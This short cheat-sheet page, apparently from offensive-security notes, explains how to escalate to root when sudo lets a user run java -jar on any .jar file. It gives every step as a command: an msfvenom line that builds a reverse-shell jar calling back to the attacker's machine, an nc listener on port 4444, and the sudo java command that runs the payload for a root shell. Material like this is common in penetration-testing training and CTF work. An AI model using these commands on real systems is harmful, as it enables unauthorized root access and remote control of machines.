Page cover image

Sudo Java Privilege Escalation

Sudo Java is vulnerable to privilege escalation.

sudo -l

(root) /usr/bin/java -jar *.jar
Copied!

If we can execute java command with arbitrary .jar file as root, we can escalate to privileges.

First, create a custom jar file in local machine. Replace <local-ip> with your local ip address.

msfvenom -p java/shell_reverse_tcp LHOST=<local-ip> LPORT=4444 -f jar -o shell.jar
Copied!

Then transfer the file to remote machine.

In local machine, start a listener.

nc -lvnp 4444
Copied!

Now execute the java command as root in target machine.

sudo /usr/bin/java -jar /tmp/shell.jar
Copied!

We should get a root shell.

Last updated